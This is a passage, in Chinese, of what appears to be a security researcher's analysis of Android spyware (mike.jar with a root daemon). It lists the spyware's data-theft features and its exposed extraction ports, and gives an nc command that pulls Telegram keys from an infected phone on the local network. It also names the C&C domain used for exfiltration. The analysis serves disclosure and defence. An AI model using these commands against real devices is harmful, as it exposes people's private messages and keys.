· 收集周围基站(BTS)的信息。

· 提取地址簿。

· 从Facebook应用程序中提取联系人列表。

· 从Facebook Messenger对话中提取日志。

· 截取前景中任何应用的截图。

· 从图库中提取图片信息。

· 从GMail应用程序中提取信息。

· 从IMO Messenger应用程序转储数据。

· 从Skype应用程序中提取呼叫日志,联系人和消息。

· 检索所有SMS消息。

· 从Telegram应用程序中提取消息和加密密钥。

· 从Viber messenger应用程序转储数据。

· 从WhatsApp中提取日志。

· 检索通过WhatsApp交换的媒体。

· 提取Wi-Fi网络的密码。

· 从微信中提取数据。

· 提取手机的当前GPS坐标。

上述功能中,有一些纯粹是通过mike.jar中的代码就能实现,还有一些则需要访问权限,例如访问SQLite数据库或应用程序存储中的其他文件时需要以root特权运行,为了实现这一点,mike.jar通过各种TCP端口连接到rootdaemon,下列是一些能提取的TCP端口:

· 端口6202:WhatsApp提取服务。

· 端口6203和6204:Facebook提取服务。

· 端口6205:Gmail提取服务。

· 端口6206:Skype提取服务。

· 端口6207:Viber提取服务。

· 端口6208:IMO提取服务。

· 端口6209:Telegram提取服务。

· 端口6210:SBrowser提取服务。

· 端口6211:日历提取服务。

· 端口6212:Chrome提取服务。

这些服务似乎在所有网络接口上都有运行,因此任何与受感染设备共享本地网络的人都可以访问这些服务。

 tcp       0      0 0.0.0.0:6201           0.0.0.0:*              LISTEN
 tcp       0      0 0.0.0.0:6205           0.0.0.0:*              LISTEN
 tcp       0      0 0.0.0.0:6209           0.0.0.0:*              LISTEN
 tcp       0      0 0.0.0.0:6211           0.0.0.0:*              LISTEN
 tcp       0      0 0.0.0.0:6212           0.0.0.0:*              LISTEN

下面我们可以看到一个连接到端口6209的示例,该端口用于从Telegram应用程序中提取数据。我们能够向服务发送命令,比如dumpmsgdb或getkey(它转储tgnet.dat文件)。

[email protected]:~$ nc 192.168.1.99 6209 | xxd
getkey
00000000: 1f8b 0800 0000 0000 0003 1361 6660 0022  ...........af`."
00000010: 06f3 e995 7bb6 9616 cd04 6126 0604 70b7  ....{.....a&..p.
00000020: bfb9 e1d2 d959 e741 f220 3e2b 1073 0131  .....Y.A. >+.s.1
00000030: 2392 1a10 9bcf d0c4 52cf d0d4 44cf d0dc  #.......R...D...
 
[...]
 
00000080: 24d5 02e4 2423 ac4e a2c8 4dcc 686e e247  $...$#.N..M.hn.G
00000090: 0e27 4303 03c2 e164 4cf5 7062 c117 4e96  .'C....dL.pb..N.
000000a0: 4484 9309 f5c3 8915 cd4d bc88 7032 d433  D........M..p2.3
000000b0: 65c0 9f9e d240 8e32 a56a 3801 00c3 3f3c  [email protected]?<
000000c0: ab18 0300 00

从mike.jar的提取模块获取的数据通常是经过异或运算的,并存储在SD卡上名为.lost +的文件夹中。数据最终通过上传队列传递到C&C服务器ws.my-local-weather [.] com处,并利用TLS连接进行泄露。